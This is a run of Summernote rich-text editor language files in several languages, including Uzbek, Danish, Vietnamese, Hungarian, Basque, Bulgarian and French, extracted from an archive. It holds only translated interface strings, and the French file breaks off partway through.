!function(e){e.extend(e.summernote.lang,{"uz-UZ":{font:{bold:"қалин",italic:"Курсив",underline:"Белгиланган",clear:"Ҳарф турларини олиб ташлаш",height:"Чизиқ баландлиги",name:"Ҳарф",strikethrough:"Ўчирилган",subscript:"Пастки индекс",superscript:"Юқори индекс",size:"ҳарф ҳажми"},image:{image:"Расм",insert:"расмни қўйиш",resizeFull:"Ҳажмни тиклаш",resizeHalf:"50% гача кичрайтириш",resizeQuarter:"25% гача кичрайтириш",floatLeft:"Чапда жойлаштириш",floatRight:"Ўнгда жойлаштириш",floatNone:"Стандарт бўйича жойлашув",shapeRounded:"Шакли: Юмалоқ",shapeCircle:"Шакли: Доира",shapeThumbnail:"Шакли: Миниатюра",shapeNone:"Шакли: Йўқ",dragImageHere:"Суратни кўчириб ўтинг",dropImage:"Суратни кўчириб ўтинг",selectFromFiles:"Файллардан бирини танлаш",url:"суратлар URL и",remove:"Суратни ўчириш"},video:{video:"Видео",videoLink:"Видеога ҳавола",insert:"Видео",url:"URL видео",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion или Youku)"},link:{link:"Ҳавола",insert:"Ҳаволани қўйиш",unlink:"Ҳаволани олиб ташлаш",edit:"Таҳрир қилиш",textToDisplay:"Кўринадиган матн",url:"URL ўтиш учун",openInNewWindow:"Янги дарчада очиш"},table:{table:"Жадвал"},hr:{insert:"Горизонтал чизиқни қўйиш"},style:{style:"Услуб",p:"Яхши",blockquote:"Жумла",pre:"Код",h1:"Сарлавҳа 1",h2:"Сарлавҳа  2",h3:"Сарлавҳа  3",h4:"Сарлавҳа  4",h5:"Сарлавҳа  5",h6:"Сарлавҳа  6"},lists:{unordered:"Белгиланган рўйҳат",ordered:"Рақамланган рўйҳат"},options:{help:"Ёрдам",fullscreen:"Бутун экран бўйича",codeview:"Бошланғич код"},paragraph:{paragraph:"Параграф",outdent:"Орқага қайтишни камайтириш",indent:"Орқага қайтишни кўпайтириш",left:"Чап қирғоққа тўғрилаш",center:"Марказга тўғрилаш",right:"Ўнг қирғоққа тўғрилаш",justify:"Эни бўйлаб чўзиш"},color:{recent:"Охирги ранг",more:"Яна ранглар",background:"Фон  ранги",foreground:"Ҳарф ранги",transparent:"Шаффоф",setTransparent:"Шаффофдай қилиш",reset:"Бекор қилиш",resetToDefault:"Стандартга оид тиклаш"},shortcut:{shortcuts:"Клавишларнинг ҳамохҳанглиги",close:"Ёпиқ",textFormatting:"Матнни ",action:"Ҳаркат",paragraphFormatting:"Параграфни форматлаш",documentStyle:"Ҳужжатнинг тури",extraKeys:"Қўшимча имкониятлар"},history:{undo:"Бекор қилиш",redo:"Қайтариш"}}})}(jQuery);lang/summernote-da-DK.js000064400000012026151677331550011115 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'da-DK': {
      font: {
        bold: 'Fed',
        italic: 'Kursiv',
        underline: 'Understreget',
        clear: 'Fjern formatering',
        height: 'Højde',
        name: 'Skrifttype',
        strikethrough: 'Gennemstreget',
        subscript: 'Sænket skrift',
        superscript: 'Hævet skrift',
        size: 'Skriftstørrelse'
      },
      image: {
        image: 'Billede',
        insert: 'Indsæt billede',
        resizeFull: 'Original størrelse',
        resizeHalf: 'Halv størrelse',
        resizeQuarter: 'Kvart størrelse',
        floatLeft: 'Venstrestillet',
        floatRight: 'Højrestillet',
        floatNone: 'Fjern formatering',
        shapeRounded: 'Form: Runde kanter',
        shapeCircle: 'Form: Cirkel',
        shapeThumbnail: 'Form: Miniature',
        shapeNone: 'Form: Ingen',
        dragImageHere: 'Træk billede hertil',
        dropImage: 'Slip billede',
        selectFromFiles: 'Vælg billed-fil',
        maximumFileSize: 'Maks fil størrelse',
        maximumFileSizeError: 'Filen er større end maks tilladte fil størrelse!',
        url: 'Billede URL',
        remove: 'Fjern billede',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Video Link',
        insert: 'Indsæt Video',
        url: 'Video URL?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion eller Youku)'
      },
      link: {
        link: 'Link',
        insert: 'Indsæt link',
        unlink: 'Fjern link',
        edit: 'Rediger',
        textToDisplay: 'Visningstekst',
        url: 'Hvor skal linket pege hen?',
        openInNewWindow: 'Åbn i nyt vindue'
      },
      table: {
        table: 'Tabel',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Indsæt horisontal linje'
      },
      style: {
        style: 'Stil',
        p: 'p',
        blockquote: 'Citat',
        pre: 'Kode',
        h1: 'Overskrift 1',
        h2: 'Overskrift 2',
        h3: 'Overskrift 3',
        h4: 'Overskrift 4',
        h5: 'Overskrift 5',
        h6: 'Overskrift 6'
      },
      lists: {
        unordered: 'Punktopstillet liste',
        ordered: 'Nummereret liste'
      },
      options: {
        help: 'Hjælp',
        fullscreen: 'Fuld skærm',
        codeview: 'HTML-Visning'
      },
      paragraph: {
        paragraph: 'Afsnit',
        outdent: 'Formindsk indryk',
        indent: 'Forøg indryk',
        left: 'Venstrestillet',
        center: 'Centreret',
        right: 'Højrestillet',
        justify: 'Blokjuster'
      },
      color: {
        recent: 'Nyligt valgt farve',
        more: 'Flere farver',
        background: 'Baggrund',
        foreground: 'Forgrund',
        transparent: 'Transparent',
        setTransparent: 'Sæt transparent',
        reset: 'Nulstil',
        resetToDefault: 'Gendan standardindstillinger'
      },
      shortcut: {
        shortcuts: 'Genveje',
        close: 'Luk',
        textFormatting: 'Tekstformatering',
        action: 'Handling',
        paragraphFormatting: 'Afsnitsformatering',
        documentStyle: 'Dokumentstil',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Fortryd',
        redo: 'Annuller fortryd'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-vi-VN.js000064400000011714151677331550011177 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'vi-VN': {
      font: {
        bold: 'In Đậm',
        italic: 'In Nghiêng',
        underline: 'Gạch dưới',
        clear: 'Bỏ định dạng',
        height: 'Chiều cao dòng',
        name: 'Phông chữ',
        strikethrough: 'Gạch ngang',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Cỡ chữ'
      },
      image: {
        image: 'Hình ảnh',
        insert: 'Chèn',
        resizeFull: '100%',
        resizeHalf: '50%',
        resizeQuarter: '25%',
        floatLeft: 'Trôi về trái',
        floatRight: 'Trôi về phải',
        floatNone: 'Không trôi',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Thả Ảnh ở vùng này',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Chọn từ File',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL',
        remove: 'Xóa',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Link đến Video',
        insert: 'Chèn Video',
        url: 'URL',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion và Youku)'
      },
      link: {
        link: 'Link',
        insert: 'Chèn Link',
        unlink: 'Gỡ Link',
        edit: 'Sửa',
        textToDisplay: 'Văn bản hiển thị',
        url: 'URL',
        openInNewWindow: 'Mở ở Cửa sổ mới'
      },
      table: {
        table: 'Bảng',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Chèn'
      },
      style: {
        style: 'Kiểu chữ',
        p: 'Chữ thường',
        blockquote: 'Đoạn trích',
        pre: 'Mã Code',
        h1: 'H1',
        h2: 'H2',
        h3: 'H3',
        h4: 'H4',
        h5: 'H5',
        h6: 'H6'
      },
      lists: {
        unordered: 'Liệt kê danh sách',
        ordered: 'Liệt kê theo thứ tự'
      },
      options: {
        help: 'Trợ giúp',
        fullscreen: 'Toàn Màn hình',
        codeview: 'Xem Code'
      },
      paragraph: {
        paragraph: 'Canh lề',
        outdent: 'Dịch sang trái',
        indent: 'Dịch sang phải',
        left: 'Canh trái',
        center: 'Canh giữa',
        right: 'Canh phải',
        justify: 'Canh đều'
      },
      color: {
        recent: 'Màu chữ',
        more: 'Mở rộng',
        background: 'Màu nền',
        foreground: 'Màu chữ',
        transparent: 'trong suốt',
        setTransparent: 'Nền trong suốt',
        reset: 'Thiết lập lại',
        resetToDefault: 'Trở lại ban đầu'
      },
      shortcut: {
        shortcuts: 'Phím tắt',
        close: 'Đóng',
        textFormatting: 'Định dạng Văn bản',
        action: 'Hành động',
        paragraphFormatting: 'Định dạng',
        documentStyle: 'Kiểu văn bản',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Lùi lại',
        redo: 'Làm lại'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-hu-HU.min.js000064400000007356151677331550011757 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"hu-HU":{font:{bold:"Félkövér",italic:"Dőlt",underline:"Aláhúzott",clear:"Formázás törlése",height:"Sorköz",name:"Betűtípus",strikethrough:"Áthúzott",subscript:"Subscript",superscript:"Superscript",size:"Betűméret"},image:{image:"Kép",insert:"Kép beszúrása",resizeFull:"Átméretezés teljes méretre",resizeHalf:"Átméretezés felére",resizeQuarter:"Átméretezés negyedére",floatLeft:"Igazítás balra",floatRight:"Igazítás jobbra",floatNone:"Igazítás törlése",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Ide húzhat képet vagy szöveget",dropImage:"Engedje el a képet vagy szöveget",selectFromFiles:"Fájlok kiválasztása",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Kép URL címe",remove:"Kép törlése",original:"Original"},video:{video:"Videó",videoLink:"Videó hivatkozás",insert:"Videó beszúrása",url:"Videó URL címe",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion vagy Youku)"},link:{link:"Hivatkozás",insert:"Hivatkozás beszúrása",unlink:"Hivatkozás megszüntetése",edit:"Szerkesztés",textToDisplay:"Megjelenítendő szöveg",url:"Milyen URL címre hivatkozzon?",openInNewWindow:"Megnyitás új ablakban"},table:{table:"Táblázat",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Elválasztó vonal beszúrása"},style:{style:"Stílus",p:"Normál",blockquote:"Idézet",pre:"Kód",h1:"Fejléc 1",h2:"Fejléc 2",h3:"Fejléc 3",h4:"Fejléc 4",h5:"Fejléc 5",h6:"Fejléc 6"},lists:{unordered:"Listajeles lista",ordered:"Számozott lista"},options:{help:"Súgó",fullscreen:"Teljes képernyő",codeview:"Kód nézet"},paragraph:{paragraph:"Bekezdés",outdent:"Behúzás csökkentése",indent:"Behúzás növelése",left:"Igazítás balra",center:"Igazítás középre",right:"Igazítás jobbra",justify:"Sorkizárt"},color:{recent:"Jelenlegi szín",more:"További színek",background:"Háttérszín",foreground:"Betűszín",transparent:"Átlátszó",setTransparent:"Átlászóság beállítása",reset:"Visszaállítás",resetToDefault:"Alaphelyzetbe állítás"},shortcut:{shortcuts:"Gyorsbillentyű",close:"Bezárás",textFormatting:"Szöveg formázása",action:"Művelet",paragraphFormatting:"Bekezdés formázása",documentStyle:"Dokumentumstílus",extraKeys:"Extra keys"},help:{insertParagraph:"Új bekezdés",undo:"Visszavonás",redo:"Újra",tab:"Behúzás növelése",untab:"Behúzás csökkentése",bold:"Félkövérre állítás",italic:"Dőltre állítás",underline:"Aláhúzás",strikethrough:"Áthúzás",removeFormat:"Formázás törlése",justifyLeft:"Balra igazítás",justifyCenter:"Középre igazítás",justifyRight:"Jobbra igazítás",justifyFull:"Sorkizárt",insertUnorderedList:"Számozatlan lista be/ki",insertOrderedList:"Számozott lista be/ki",outdent:"Jelenlegi bekezdés behúzásának megszüntetése",indent:"Jelenlegi bekezdés behúzása",formatPara:"Blokk formázása bekezdésként (P tag)",formatH1:"Blokk formázása, mint Fejléc 1",formatH2:"Blokk formázása, mint Fejléc 2",formatH3:"Blokk formázása, mint Fejléc 3",formatH4:"Blokk formázása, mint Fejléc 4",formatH5:"Blokk formázása, mint Fejléc 5",formatH6:"Blokk formázása, mint Fejléc 6",insertHorizontalRule:"Vízszintes vonal beszúrása","linkDialog.show":"Link párbeszédablak megjelenítése"},history:{undo:"Visszavonás",redo:"Újra"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-es-EU.js000064400000012132151677331550011151 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'es-EU': {
      font: {
        bold: 'Lodia',
        italic: 'Etzana',
        underline: 'Azpimarratua',
        clear: 'Estiloa kendu',
        height: 'Lerro altuera',
        name: 'Tipografia',
        strikethrough: 'Marratua',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Letren neurria'
      },
      image: {
        image: 'Irudia',
        insert: 'Irudi bat txertatu',
        resizeFull: 'Jatorrizko neurrira aldatu',
        resizeHalf: 'Neurria erdira aldatu',
        resizeQuarter: 'Neurria laurdenera aldatu',
        floatLeft: 'Ezkerrean kokatu',
        floatRight: 'Eskuinean kokatu',
        floatNone: 'Kokapenik ez ezarri',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Irudi bat ezarri hemen',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Zure fitxategi bat aukeratu',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'Irudiaren URL helbidea',
        remove: 'Remove Image',
        original: 'Original'
      },
      video: {
        video: 'Bideoa',
        videoLink: 'Bideorako esteka',
        insert: 'Bideo berri bat txertatu',
        url: 'Bideoaren URL helbidea',
        providers: '(YouTube, Vimeo, Vine, Instagram edo DailyMotion)'
      },
      link: {
        link: 'Esteka',
        insert: 'Esteka bat txertatu',
        unlink: 'Esteka ezabatu',
        edit: 'Editatu',
        textToDisplay: 'Estekaren testua',
        url: 'Estekaren URL helbidea',
        openInNewWindow: 'Leiho berri batean ireki'
      },
      table: {
        table: 'Taula',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Marra horizontala txertatu'
      },
      style: {
        style: 'Estiloa',
        p: 'p',
        blockquote: 'Aipamena',
        pre: 'Kodea',
        h1: '1. izenburua',
        h2: '2. izenburua',
        h3: '3. izenburua',
        h4: '4. izenburua',
        h5: '5. izenburua',
        h6: '6. izenburua'
      },
      lists: {
        unordered: 'Ordenatu gabeko zerrenda',
        ordered: 'Zerrenda ordenatua'
      },
      options: {
        help: 'Laguntza',
        fullscreen: 'Pantaila osoa',
        codeview: 'Kodea ikusi'
      },
      paragraph: {
        paragraph: 'Paragrafoa',
        outdent: 'Koska txikiagoa',
        indent: 'Koska handiagoa',
        left: 'Ezkerrean kokatu',
        center: 'Erdian kokatu',
        right: 'Eskuinean kokatu',
        justify: 'Justifikatu'
      },
      color: {
        recent: 'Azken kolorea',
        more: 'Kolore gehiago',
        background: 'Atzeko planoa',
        foreground: 'Aurreko planoa',
        transparent: 'Gardena',
        setTransparent: 'Gardendu',
        reset: 'Lehengoratu',
        resetToDefault: 'Berrezarri lehenetsia'
      },
      shortcut: {
        shortcuts: 'Lasterbideak',
        close: 'Itxi',
        textFormatting: 'Testuaren formatua',
        action: 'Ekintza',
        paragraphFormatting: 'Paragrafoaren formatua',
        documentStyle: 'Dokumentuaren estiloa'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Desegin',
        redo: 'Berregin'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-hu-HU.js000064400000012403151677331550011162 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'hu-HU': {
      font: {
        bold: 'Félkövér',
        italic: 'Dőlt',
        underline: 'Aláhúzott',
        clear: 'Formázás törlése',
        height: 'Sorköz',
        name: 'Betűtípus',
        strikethrough: 'Áthúzott',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Betűméret'
      },
      image: {
        image: 'Kép',
        insert: 'Kép beszúrása',
        resizeFull: 'Átméretezés teljes méretre',
        resizeHalf: 'Átméretezés felére',
        resizeQuarter: 'Átméretezés negyedére',
        floatLeft: 'Igazítás balra',
        floatRight: 'Igazítás jobbra',
        floatNone: 'Igazítás törlése',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Ide húzhat képet vagy szöveget',
        dropImage: 'Engedje el a képet vagy szöveget',
        selectFromFiles: 'Fájlok kiválasztása',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'Kép URL címe',
        remove: 'Kép törlése',
        original: 'Original'
      },
      video: {
        video: 'Videó',
        videoLink: 'Videó hivatkozás',
        insert: 'Videó beszúrása',
        url: 'Videó URL címe',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion vagy Youku)'
      },
      link: {
        link: 'Hivatkozás',
        insert: 'Hivatkozás beszúrása',
        unlink: 'Hivatkozás megszüntetése',
        edit: 'Szerkesztés',
        textToDisplay: 'Megjelenítendő szöveg',
        url: 'Milyen URL címre hivatkozzon?',
        openInNewWindow: 'Megnyitás új ablakban'
      },
      table: {
        table: 'Táblázat',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Elválasztó vonal beszúrása'
      },
      style: {
        style: 'Stílus',
        p: 'Normál',
        blockquote: 'Idézet',
        pre: 'Kód',
        h1: 'Fejléc 1',
        h2: 'Fejléc 2',
        h3: 'Fejléc 3',
        h4: 'Fejléc 4',
        h5: 'Fejléc 5',
        h6: 'Fejléc 6'
      },
      lists: {
        unordered: 'Listajeles lista',
        ordered: 'Számozott lista'
      },
      options: {
        help: 'Súgó',
        fullscreen: 'Teljes képernyő',
        codeview: 'Kód nézet'
      },
      paragraph: {
        paragraph: 'Bekezdés',
        outdent: 'Behúzás csökkentése',
        indent: 'Behúzás növelése',
        left: 'Igazítás balra',
        center: 'Igazítás középre',
        right: 'Igazítás jobbra',
        justify: 'Sorkizárt'
      },
      color: {
        recent: 'Jelenlegi szín',
        more: 'További színek',
        background: 'Háttérszín',
        foreground: 'Betűszín',
        transparent: 'Átlátszó',
        setTransparent: 'Átlászóság beállítása',
        reset: 'Visszaállítás',
        resetToDefault: 'Alaphelyzetbe állítás'
      },
      shortcut: {
        shortcuts: 'Gyorsbillentyű',
        close: 'Bezárás',
        textFormatting: 'Szöveg formázása',
        action: 'Művelet',
        paragraphFormatting: 'Bekezdés formázása',
        documentStyle: 'Dokumentumstílus',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Új bekezdés',
        'undo': 'Visszavonás',
        'redo': 'Újra',
        'tab': 'Behúzás növelése',
        'untab': 'Behúzás csökkentése',
        'bold': 'Félkövérre állítás',
        'italic': 'Dőltre állítás',
        'underline': 'Aláhúzás',
        'strikethrough': 'Áthúzás',
        'removeFormat': 'Formázás törlése',
        'justifyLeft': 'Balra igazítás',
        'justifyCenter': 'Középre igazítás',
        'justifyRight': 'Jobbra igazítás',
        'justifyFull': 'Sorkizárt',
        'insertUnorderedList': 'Számozatlan lista be/ki',
        'insertOrderedList': 'Számozott lista be/ki',
        'outdent': 'Jelenlegi bekezdés behúzásának megszüntetése',
        'indent': 'Jelenlegi bekezdés behúzása',
        'formatPara': 'Blokk formázása bekezdésként (P tag)',
        'formatH1': 'Blokk formázása, mint Fejléc 1',
        'formatH2': 'Blokk formázása, mint Fejléc 2',
        'formatH3': 'Blokk formázása, mint Fejléc 3',
        'formatH4': 'Blokk formázása, mint Fejléc 4',
        'formatH5': 'Blokk formázása, mint Fejléc 5',
        'formatH6': 'Blokk formázása, mint Fejléc 6',
        'insertHorizontalRule': 'Vízszintes vonal beszúrása',
        'linkDialog.show': 'Link párbeszédablak megjelenítése'
      },
      history: {
        undo: 'Visszavonás',
        redo: 'Újra'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-bg-BG.min.js000064400000010453151677331550011677 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"bg-BG":{font:{bold:"Удебелен",italic:"Наклонен",underline:"Подчертан",clear:"Изчисти стиловете",height:"Височина",name:"Шрифт",strikethrough:"Задраскано",subscript:"Долен индекс",superscript:"Горен индекс",size:"Размер на шрифта"},image:{image:"Изображение",insert:"Постави картинка",resizeFull:"Цял размер",resizeHalf:"Размер на 50%",resizeQuarter:"Размер на 25%",floatLeft:"Подравни в ляво",floatRight:"Подравни в дясно",floatNone:"Без подравняване",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Пуснете изображението тук",dropImage:"Drop image or Text",selectFromFiles:"Изберете файл",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL адрес на изображение",remove:"Премахни изображение",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Insert Video",url:"Video URL?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},link:{link:"Връзка",insert:"Добави връзка",unlink:"Премахни връзка",edit:"Промени",textToDisplay:"Текст за показване",url:"URL адрес",openInNewWindow:"Отвори в нов прозорец"},table:{table:"Таблица",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Добави хоризонтална линия"},style:{style:"Стил",p:"Нормален",blockquote:"Цитат",pre:"Код",h1:"Заглавие 1",h2:"Заглавие 2",h3:"Заглавие 3",h4:"Заглавие 4",h5:"Заглавие 5",h6:"Заглавие 6"},lists:{unordered:"Символен списък",ordered:"Цифров списък"},options:{help:"Помощ",fullscreen:"На цял екран",codeview:"Преглед на код"},paragraph:{paragraph:"Параграф",outdent:"Намаляване на отстъпа",indent:"Абзац",left:"Подравняване в ляво",center:"Център",right:"Подравняване в дясно",justify:"Разтягане по ширина"},color:{recent:"Последния избран цвят",more:"Още цветове",background:"Цвят на фона",foreground:"Цвят на шрифта",transparent:"Прозрачен",setTransparent:"Направете прозрачен",reset:"Възстанови",resetToDefault:"Възстанови оригиналните"},shortcut:{shortcuts:"Клавишни комбинации",close:"Затвори",textFormatting:"Форматиране на текста",action:"Действие",paragraphFormatting:"Форматиране на параграф",documentStyle:"Стил на документа",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Назад",redo:"Напред"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-fr-FR.js000064400000012771151677331550011160 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'fr-FR': {
      font: {
        bold: 'Gras',
        italic: 'Italique',
        underline: 'Souligné',
        clear: 'Effacer la mise en forme',
        height: 'Interligne',
        name: 'Famille de police',
        strikethrough: 'Barré',
        superscript: 'Exposant',
        subscript: 'Indice',
        size: 'Taille de police'
      },
      image: {
        image: 'Image',
        insert: 'Insérer une image',
        resizeFull: 'Taille originale',
        resizeHalf: 'Redimensionner à 50 %',
        resizeQuarter: 'Redimensionner à 25 %',
        floatLeft: 'Aligné à gauche',
        floatRight: 'Aligné à droite',
        floatNone: 'Pas d\'alignement',
        shapeRounded: 'Forme: Rectangle arrondie',
        shapeCircle: 'Forme: Cercle',
        shapeThumbnail: 'Forme: Vignette',
        shapeNone: 'Forme: Aucune',
        dragImageHere: 'Faites glisser une image ou un texte dans ce cadre',
        dropImage: 'Lachez l\'image ou le texte',
        selectFromFiles: 'Choisir un fichier',
        maximumFileSize: 'Taille de fichier maximale',
        maximumFileSizeError: 'Taille maximale du fichier dépassée',
        url: 'URL de l\'image',
        remove: 'Supprimer l\'image',
        original: 'Original'
      },
      video: {
        video: 'Vidéo',
        videoLink: 'Lien vidéo',
        insert: 'Insérer une vidéo',
        url: 'URL de la vidéo',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion ou Youku)'
      },
      link: {
        link: 'Lien',
        insert: 'Insérer un lien',
        unlink: 'Supprimer un lien',
        edit: 'Modifier',
        textToDisplay: 'Texte à afficher',
        url: 'URL du lien',
        openInNewWindow: 'Ouvrir dans une nouvelle fenêtre'
      },
      table: {
        table: 'Tableau',
        addRowAbove: 'Ajouter une ligne au-dessus',
        addRowBelow: 'Ajouter une ligne en dessous',
        addColLeft: 'Ajouter une colonne à gauche',
        addColRight: 'Ajouter une colonne à droite',
        delRow: 'Supprimer la ligne',
        delCol: 'Supprimer la colonne',
        delTable: 'Supprimer le tableau'
      },
      hr: {
        insert: 'Insérer une ligne horizontale'
      },
      style: {
        style: 'Style',
        p: 'Normal',
